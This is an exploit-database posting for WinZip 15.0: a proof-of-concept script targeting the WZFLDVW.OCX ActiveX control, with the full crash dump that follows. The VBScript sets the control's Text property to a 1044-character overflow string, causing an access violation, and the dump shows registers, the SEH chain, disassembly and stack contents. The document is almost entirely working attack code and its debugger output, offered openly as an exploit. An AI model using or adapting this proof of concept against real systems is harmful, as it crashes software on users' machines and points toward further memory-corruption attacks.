ExploitFixes
Winzip 15.0 WZFLDVW.OCX Text Property Denial of Service 2010-12-06 15:15:14

# Exploit Title: Winzip WZFLDVW.OCX text property access violation
# Author: fady mohamed osman
# Software Link : http://www.winzip.com/downwz.htm
# Version: 15.0 (Build 9334)
# Tested on: Win XP Sp2
# CVE : N/A

# Website : http://www.darkmasters.co.cc/
# Twitter : http://twitter.com/Fady_Osman

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:4E3770F4-1937-4F05-B9A2-959BE7321909' id='target' />
<script language='vbscript'>


'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\WinZip\WZFLDVW.OCX"
prototype = "Invoke_Unknown Text As String"
memberName = "Text"
progid = "FolderViewControl.TreeNode"
argCount = 1

arg1=String(1044, "A")

target.Text = arg1

</script></job></package>

Exception Code: ACCESS_VIOLATION
Disasm: 1643D05 PUSH DWORD PTR [ECX+20]

Seh Chain:
--------------------------------------------------
1 180B82F wzfldvw.ocx
2 180B8F0 wzfldvw.ocx
3 73351571 VBSCRIPT.dll
4 73350F38 VBSCRIPT.dll
5 73351DA5 VBSCRIPT.dll
6 7335119D VBSCRIPT.dll
7 7C8399F3 KERNEL32.dll


Called From Returns To
--------------------------------------------------
wzfldvw.1643D05 wzfldvw.16314E1
wzfldvw.16314E1 wzfldvw.1666F8C
wzfldvw.1666F8C wzfldvw.16434A0
wzfldvw.16434A0 VBSCRIPT.73313A78
VBSCRIPT.73313A78 VBSCRIPT.733139F6
VBSCRIPT.733139F6 VBSCRIPT.73304B01
VBSCRIPT.73304B01 VBSCRIPT.73306959
VBSCRIPT.73306959 VBSCRIPT.73301E55
VBSCRIPT.73301E55 VBSCRIPT.73303A76
VBSCRIPT.73303A76 VBSCRIPT.7330BE2A
VBSCRIPT.7330BE2A VBSCRIPT.7330BEB9
VBSCRIPT.7330BEB9 SCROBJ.5CE4915E
SCROBJ.5CE4915E SCROBJ.5CE4CF9C
SCROBJ.5CE4CF9C SCROBJ.5CE4D0E2
SCROBJ.5CE4D0E2 SCROBJ.5CE4B106
SCROBJ.5CE4B106 SCROBJ.5CE4B49F
SCROBJ.5CE4B49F 100BB36
100BB36 1005EFE
1005EFE 1005215
1005215 100492B
100492B 1004A89
1004A89 1003C7B
1003C7B KERNEL32.7C816D4F


Registers:
--------------------------------------------------
EIP 01643D05 -> 00000001
EAX 0013EB1C -> 00000001
EBX 00000000
ECX BAADF00D
EDX 01642B94 -> 18EBD88B
EDI 00000008
ESI 0013EB70 -> 01666F8C
EBP 0013EB44 -> 0013EB6C
ESP 0013EB10 -> 0000113F


Block Disassembly:
--------------------------------------------------
1643CF4 MOV EAX,[EBP+24]
1643CF7 MOV [EBP-4],EAX
1643CFA LEA EAX,[EBP-28]
1643CFD PUSH EAX
1643CFE PUSH 0
1643D00 PUSH 113F
1643D05 PUSH DWORD PTR [ECX+20] <--- CRASH
1643D08 CALL [182CA6C]
1643D0E LEAVE
1643D0F RETN 20
1643D12 MOV EDI,EDI
1643D14 PUSH EBP
1643D15 MOV EBP,ESP
1643D17 SUB ESP,3C
1643D1A MOV EAX,[EBP+8]


ArgDump:
--------------------------------------------------
EBP+8 BAADF00D
EBP+12 00000001
EBP+16 0019B05C -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+20 00000000
EBP+24 00000000
EBP+28 00000000


Stack Dump:
--------------------------------------------------
13EB10 3F 11 00 00 00 00 00 00 1C EB 13 00 01 00 00 00 [................]
13EB20 0D F0 AD BA 00 00 00 00 00 00 00 00 5C B0 19 00 [............\...]
13EB30 D0 EB 13 00 00 00 00 00 00 00 00 00 08 EC 13 00 [................]
13EB40 00 00 00 00 6C EB 13 00 E1 14 63 01 0D F0 AD BA [....l.....c.....]
13EB50 01 00 00 00 5C B0 19 00 00 00 00 00 00 00 00 00 [....\...........]



ApiLog
--------------------------------------------------

***** Installing Hooks *****
7c826cab CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
7c826cab CreateFileA(C:\WINDOWS\system32\rsaenh.dll)